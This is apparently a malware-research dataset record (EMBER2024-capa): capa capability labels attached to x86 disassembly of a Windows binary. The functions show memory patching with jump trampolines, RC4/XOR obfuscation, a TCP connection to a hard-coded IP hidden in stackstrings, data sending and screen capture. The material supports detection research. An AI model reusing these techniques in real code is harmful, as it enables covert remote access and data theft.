joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45fb30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
ret

Function at 0x45fb40
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5e1676
mov eax, dword fs:[0]
push eax
sub esp, 0x26c
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x268], edx
mov edi, ecx
mov eax, dword [ebp + 0xc]
lea edx, [ecx + 1]
mov dword [ebp - 0x270], eax
xor esi, esi
mov dword [ebp - 0x264], 0x2a7325
mov dword [ebp - 0x18], 0x2a5c7325
mov byte [ebp - 0x14], 0
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fba0
sub ecx, edx
lea eax, [ebp - 0x264]
push edi
cmp byte [edi + ecx - 1], 0x5c
je 0x45fbba
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x120]
push 0x103
push eax
call fcn.005c2407
add esp, 0x10
test eax, eax
js 0x45fbda
cmp eax, 0x103
jne 0x45fbde
mov byte [ebp - 0x1d], 0
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x45fcf8
mov bl, 1
nop
test byte [ebp - 0x260], 0x10
jne 0x45fcdb
test bl, bl
je 0x45fc43
lea eax, [ebp - 0x234]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45fc20
mov ecx, dword [ebp - 0x268]
sub eax, edx
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.00460200
xor bl, bl
jmp 0x45fccd
push ecx
lea ecx, [ebp - 0x26c]
call fcn.0045fe10
lea ecx, [ebp - 0x234]
mov dword [ebp - 4], 0
push ecx
mov edx, eax
lea ecx, [ebp - 0x274]
call fcn.0045fee0
add esp, 4
mov ecx, dword [ebp - 0x268]
mov byte [ebp - 4], 1
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
call fcn.00460200
mov byte [ebp - 4], 0
or ecx, 0xffffffff
mov edx, dword [ebp - 0x274]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45fca6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
mov edx, dword [ebp - 0x26c]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45fccd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x270]
inc esi
mov dword [eax], esi
cmp esi, 0xa
jge 0x45fcf1
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x45fc00
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x460660
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x460675
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4606b4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x4606b0
lea ebx, [ebx]
cmp esi, edx
jae 0x4606b4
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x4606a0
cmp esi, edx
jb 0x4606b9
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret

Function at 0x460ff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x40
mov esi, ecx
mov dword [ebp - 8], edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x461018
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push edi
push dword [ebp - 8]
push esi
call fcn.005c96b0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x461040
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
test eax, eax
je 0x46111c
test edx, edx
je 0x46111c
lea ecx, [ebp - 8]
push ecx
mov ecx, eax
call fcn.0045f0c0
add esp, 4
test eax, eax
je 0x46111c
push ebx
mov ebx, dword [ebp - 8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
push 0x1000
lea eax, [ebx + 0xe]
push eax
push 0
call esi
mov edi, eax
push ebx
push dword [ebp - 4]
mov dword [edi], ebx
add edi, 4
lea eax, [edi + 5]
push eax
mov dword [ebp - 8], eax
call fcn.005c96b0
add esp, 0xc
push 0x40
push 0x1000
push ebx
push 0
call esi
push ebx
mov esi, eax
push 0x90
push esi
call fcn.005c7c50
mov eax, dword [ebp - 0xc]
mov edx, esi
mov ecx, dword [ebp - 4]
sub eax, edi
sub eax, 5
mov byte [edi], 0xe9
mov dword [edi + 1], eax
mov eax, ecx
sub eax, edi
mov byte [edi + ebx + 5], 0xe9
sub eax, 0xa
mov dword [edi + ebx + 6], eax
sub edi, ecx
sub edi, 5
mov byte [esi], 0xe9
push ebx
mov dword [esi + 1], edi
call fcn.00460ff0
add esp, 0x10
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
mov dword [0x680324], eax
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x461130
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ecx, dword [0x680380]
mov dword [ebp - 4], edx
call fcn.004940f0
xor ecx, ecx
xor esi, esi
xor edi, edi
mov ebx, eax
cmp dword [ebp - 4], ecx
jle 0x4611a4
jmp 0x461160
inc esi
and esi, 0xff
mov dl, byte [esi + ebx]
movzx eax, dl
add ecx, eax
and ecx, 0xff
mov dword [ebp - 0xc], ecx
movzx eax, byte [ecx + ebx]
mov byte [esi + ebx], al
mov byte [ecx + ebx], dl
movzx ecx, byte [esi + ebx]
movzx eax, dl
add ecx, eax
and ecx, 0xff
movzx eax, byte [ecx + ebx]
mov ecx, dword [ebp - 8]
xor byte [edi + ecx], al
inc edi
mov ecx, dword [ebp - 0xc]
cmp edi, dword [ebp - 4]
jl 0x461160
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x461290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ecx, dword [0x680378]
call fcn.004940f0
movzx ebx, byte [esi + 4]
mov edx, eax
mov dword [ebp - 4], edx
mov byte [edx], bl
movzx ebx, byte [esi + 5]
mov byte [edx + 1], bl
movzx ecx, byte [esi + 6]
mov byte [edx + 2], cl
mov al, byte [esi + 7]
mov ecx, dword [0x68037c]
mov byte [edx + 3], al
call fcn.004940f0
mov edx, eax
movzx ecx, byte [edx]
xor byte [esi], cl
mov ecx, 1
cmp edi, ecx
jle 0x4612f4
mov eax, ecx
and eax, 7
mov al, byte [eax + edx]
xor al, byte [ecx + esi - 1]
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x4612e0
movzx eax, byte [edx + 2]
xor byte [esi + 3], al
movzx eax, byte [edx + 3]
movzx ecx, byte [esi + 3]
xor al, cl
xor byte [esi + 2], al
movzx eax, byte [edx + 4]
movzx ecx, byte [esi + 2]
xor al, cl
xor byte [esi + 1], al
movzx ecx, byte [esi + 1]
movzx eax, byte [edx + 5]
xor al, cl
mov ecx, dword [ebp - 4]
xor byte [esi], al
pop edi
pop esi
movzx eax, byte [ecx]
xor byte [edx], al
movzx eax, byte [ecx + 1]
xor byte [edx + 1], al
movzx eax, byte [ecx + 2]
xor byte [edx + 2], al
movzx eax, byte [ecx + 3]
xor byte [edx + 3], al
movzx ecx, byte [edx + 7]
movzx eax, byte [edx + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
or ecx, eax
add ecx, 0x45c8740f
mov eax, ecx
mov byte [edx + 4], cl
sar eax, 8
mov byte [edx + 5], al
mov eax, ecx
sar eax, 0x10
sar ecx, 0x18
mov byte [edx + 6], al
mov byte [edx + 7], cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x462e50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [0x6803a4]
mov eax, ecx
mov dword [ebp - 4], eax
mov ebx, edx
test edi, edi
je 0x462f53
cmp dword [edi], 0xffffffff
je 0x462f53
cmp byte [edi + 0x1400c], 0
je 0x462f53
push esi
lea edx, [ebx - 2]
lea ecx, [eax + 2]
call fcn.00461290
xor esi, esi
test ebx, ebx
jle 0x462f52
push 0
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp - 4]
add eax, esi
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x462eb4
add esi, eax
jmp 0x462ed1
cmp eax, 0xffffffff
jne 0x462ed1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x462edd
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, ebx
jge 0x462f52
mov edi, dword [0x6803a4]
jmp 0x462e97
push 0x10
call fcn.0049a300
mov esi, eax
add esp, 4
mov dword [esi], 2
mov dword [esi + 4], 0xffffffff
mov dword [esi + 8], edi
call fcn.00463020
mov ecx, dword [0x680384]
test ecx, ecx
je 0x462f3a
mov byte [esi + 0xc], 1
call fcn.004940f0
mov ecx, dword [eax + 4]
xor ecx, dword [eax]
rol ecx, 3
mov eax, ecx
xor ecx, 0x11
xor eax, esi
push eax
push ecx
push 0x720
push dword [0x680390]
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push 2
push 0x4cb
push dword [0x680390]
mov byte [esi + 0xc], 0
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x463280
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Contain obfuscated stackstrings
Create tcp socket
Create thread
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x680c00]
push esi
push 6
push 1
push 2
mov dword [0x680390], eax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [0x6803a4]
mov dword [ecx], eax
cmp eax, 0xffffffff
jne 0x4632cb
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x2e333232
mov esi, 2
mov dword [ebp - 0x10], 0x2e363531
push eax
mov word [ebp - 0x24], si
mov dword [ebp - 0xc], 0x2e393831
mov word [ebp - 8], 0x3039
mov byte [ebp - 6], 0
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x77d6
mov dword [ebp - 0x20], eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [0x6803a4]
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x134]
push eax
push 0x8004667e
mov dword [ebp - 0x134], 1
push dword [ecx]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x46334d
call fcn.00463020
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
push 0x10
lea eax, [ebp - 0x24]
push eax
mov eax, dword [0x6803a4]
push dword [eax]
call dword [sym.imp.WS2_32.dll_connect]
mov eax, dword [0x6803a4]
mov dword [ebp - 0x130], 0
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x13c]
push eax
push 0
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 1
push eax
push 0
push 0x40
mov dword [ebp - 0x13c], 0xa
mov dword [ebp - 0x138], 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x4633cc
call fcn.00463020
mov eax, 3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
mov eax, dword [0x6803a4]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x462440
push 0
push 0
mov byte [eax + 0x1400c], 1
call esi
push 0
push 0
push 0
push 0x462f60
push 0
push 0
mov dword [0x680388], eax
call esi
mov ecx, dword [ebp - 4]
mov dword [0x68038c], eax
xor ecx, ebp
xor eax, eax
pop esi
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x470cc0
Capabilities:
Create thread
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5e1e8b
mov eax, dword fs:[0]
push eax
sub esp, 0x324
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x32c], ax
lea eax, [ebp - 0x32a]
push eax
call fcn.005c7c50
push 0x103
lea eax, [ebp - 0x123]
mov byte [ebp - 0x124], 0
push 0
push eax
call fcn.005c7c50
add esp, 0x18
lea eax, [ebp - 0x32c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x32c]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0x124]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x32c]
push eax
push 0
push 0
call esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetACP]
xor esi, esi
cmp eax, 0xfde9
jne 0x470dbd
xorps xmm0, xmm0
mov byte [ebp - 0x1c], 0
lea edi, [esi + 1]
movq qword [ebp - 0x1b], xmm0
mov byte [ebp - 0x13], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0xa
lea ecx, [ebp - 0x1c]
push ecx
push 0x1004
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jle 0x470dbf
lea eax, [ebp - 0x1c]
push eax
call fcn.005c0d5c
add esp, 4
mov esi, eax
lea eax, [ebp - 0x124]
push 0x64bc50
push eax
call fcn.005c1030
add esp, 8
test eax, eax
je 0x470eca
call fcn.004aa5ff
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x470df7
push 0x80004005
call fcn.00460d60
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x330], eax
push esi
push edi
lea eax, [ebp - 0x32c]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x330]
push 0x64bc78
push eax
call fcn.00460980
push 0x600
mov dword [ebp - 0x20], 0x610057
mov dword [ebp - 0x1c], 0x6e0072
mov dword [ebp - 0x18], 0x6e0069
mov dword [ebp - 0x14], 0x67
call fcn.0049a300
mov esi, eax
add esp, 0x18
test esi, esi
je 0x470e91
push dword [ebp - 0x330]
push esi
call fcn.0045e930
lea eax, [ebp - 0x20]
push eax
lea eax, [esi + 0x400]
push eax
call fcn.0045e950
add esp, 0x10
push 0
push 0
push esi
push 0x45ad30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x330]
call fcn.004609a0
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
mov edx, dword [ebp - 0x330]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x470ec3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 1
jmp 0x470ecc
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x470fc0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov eax, edx
mov dword [ebp - 0x24], 0
push 0
push eax
mov dword [ebp - 0x20], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test ebx, ebx
jne 0x47101e
push eax
mov dword [esi + 0x14], 0xf
mov ecx, esi
mov dword [esi + 0x10], eax
push 0x649256
mov byte [esi], al
call fcn.0045e4e0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
push ebx
call fcn.0049a32d
add esp, 4
mov edi, eax
push ebx
push edi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [ebp - 8], 0xf
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x1c], 0
cmp byte [edi], 0
jne 0x47104f
xor ecx, ecx
jmp 0x47105d
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x471054
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x1c]
call fcn.0045e4e0
push edi
call fcn.0049a336
add esp, 4
lea eax, [ebp - 0x1c]
mov ecx, esi
push eax
call fcn.0048ba00
cmp dword [ebp - 8], 0x10
jb 0x47108c
push dword [ebp - 0x1c]
call fcn.0049a336
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005c02df
mov esp, ebp
pop ebp
ret

Function at 0x4710a0
Capabilities:
Contain obfuscated stackstrings
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5e1ec8
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea edx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x4f435f5f
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x1c], 0x5441504d
mov dword [ebp - 0x18], 0x59414c5f
mov word [ebp - 0x14], 0x5245
mov byte [ebp - 0x12], 0
call fcn.00470fc0
mov dword [ebp - 4], 0
cmp byte [esi], 0
jne 0x471106
xor ecx, ecx
jmp 0x471119
mov ecx, esi
lea edx, [ecx + 1]
jmp 0x471110
mov al, byte [ecx]
inc ecx
test al, al
jne 0x471110
sub ecx, edx
push ecx
push 0
push esi
lea ecx, [ebp - 0x38]
call fcn.0048c4e0
cmp eax, 0xffffffff
jne 0x471180
cmp dword [ebp - 0x28], 0
je 0x47113f
push 1
push 0x64bd2c
lea ecx, [ebp - 0x38]
call fcn.0048c3f0
cmp byte [esi], 0
jne 0x471148
xor ecx, ecx
jmp 0x471159
mov ecx, esi
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x471150
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x38]
call fcn.0048c3f0
cmp dword [ebp - 0x24], 0x10
lea eax, [ebp - 0x38]
cmovae eax, dword [ebp - 0x38]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
setne bl
jmp 0x471182
mov bl, 1
cmp dword [ebp - 0x24], 0x10
jb 0x471193
push dword [ebp - 0x38]
call fcn.0049a336
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x4711b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x69423631
mov dword [ebp - 0xc], 0x6c6f4374
mov word [ebp - 8], 0x726f
mov byte [ebp - 6], 0
call fcn.004710a0
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x47b750
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 0xc]
push eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], esi
mov dword [esi], 0
call fcn.0047b6d0
mov edi, eax
mov dword [ebp - 0x48], edi
test edi, edi
jne 0x47b7a1
mov dword [esi], 6
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp - 0x40]
push 0
push dword [edi + 0x20]
push dword [eax + 0x9c]
call fcn.005c4057
mov eax, dword [ebp - 0x40]
push dword [eax + 0x9c]
push 1
push dword [edi + 0x28]
push dword [0x6803b8]
call fcn.005c469b
push 0
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0
push eax
push dword [0x6803b4]
push dword [edi + 0x28]
push dword [0x6803b8]
call fcn.005deb40
add esp, 0x30
test eax, eax
jne 0x47b8eb
mov eax, dword [ebp - 0x38]
cmp eax, dword [edi + 0x24]
jne 0x47b8eb
mov eax, dword [0x6803b4]
xorps xmm0, xmm0
push 0x2c
push 0
movdqu xmmword [ebp - 0x74], xmm0
movzx edi, word [eax]
movzx esi, word [eax + 2]
lea eax, [ebp - 0x34]
push eax
movdqu xmmword [ebp - 0x64], xmm0
call fcn.005c7c50
add esp, 0xc
mov dword [ebp - 0x74], 0x28
mov dword [ebp - 0x68], 0x180001
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], esi
movdqu xmm0, xmmword [ebp - 0x74]
push 0
push 0
push eax
movdqu xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x64], 0
lea eax, [ebp - 0x34]
movdqu xmm0, xmmword [ebp - 0x64]
push 0
push eax
movdqu xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x3c], 0
xorps xmm0, xmm0
push 0
movq qword [ebp - 0x14], xmm0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov ecx, dword [ebp - 0x3c]
mov edi, eax
test ecx, ecx
jne 0x47b8a8
mov eax, dword [ebp - 0x44]
mov dword [eax], 8
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp - 0x48]
mov edx, dword [0x6803b4]
mov eax, dword [eax + 0x24]
sub eax, 4
lea edx, [edx + 4]
push eax
call fcn.0048ffc0
mov ecx, dword [ebp - 0x4c]
add esp, 4
call fcn.004b102e
mov ecx, dword [ebp - 0x4c]
push edi
call fcn.004b0ec4
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
mov dword [esi], 7
xor ecx, ebp
pop esi
call fcn.005c02df
mov esp, ebp
pop ebp
ret 0xc
Function at 0x47be60
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x47be8c
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x47be84
mov ecx, esi
call fcn.004a4523
mov ecx, esi
pop esi
jmp fcn.004ad760
mov ecx, esi
call fcn.0047b910
push 0
call fcn.005c35aa
int3
Function at 0x47d670
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
movdqa xmm0, xmmword [0x64e570]
lea eax, [ebp - 0x30]
push esi
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x72657375
push eax
mov esi, ecx
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
movdqu xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x73656e65
mov dword [ebp - 0x1c], 0x6e6f4373
mov dword [ebp - 0x18], 0x74786574
mov byte [ebp - 0x14], 0
call fcn.00401240
test eax, eax
je 0x47d6e4
push esi
call eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x47d700
Capabilities:
Capture screenshot
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
movdqa xmm0, xmmword [0x64e570]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x72657375
push eax
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
movdqu xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x73656e65
mov dword [ebp - 0x1c], 0x6e6f4373
mov dword [ebp - 0x18], 0x74786574
mov byte [ebp - 0x14], 0
call fcn.00401240
test eax, eax
je 0x47d768
push 0xfffffffffffffffc
call eax
mov dword [ebp - 0x34], eax
jmp 0x47d76f
mov dword [ebp - 0x34], 0
push edi
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
test edi, edi
jne 0x47d78d
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
push ebx
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ebx, eax
test ebx, ebx
jne 0x47d7b5
push edi
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x4e
call esi
push 0x4f
mov dword [ebp - 0x3c], eax
call esi
push 0x4c
mov dword [ebp - 0x38], eax
call esi
push 0x4d
mov dword [ebp - 0x44], eax
call esi
push dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
push dword [ebp - 0x3c]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov esi, eax
test esi, esi
je 0x47d81f
push esi
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
test eax, eax
je 0x47d818
push 0xcc0020
push dword [ebp - 0x40]
push dword [ebp - 0x44]
push edi
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
push 0
push 0
push ebx
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
jne 0x47d842
push esi
call dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, dword [ebp - 0x34]
call fcn.0047d670
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
xor ecx, ebp
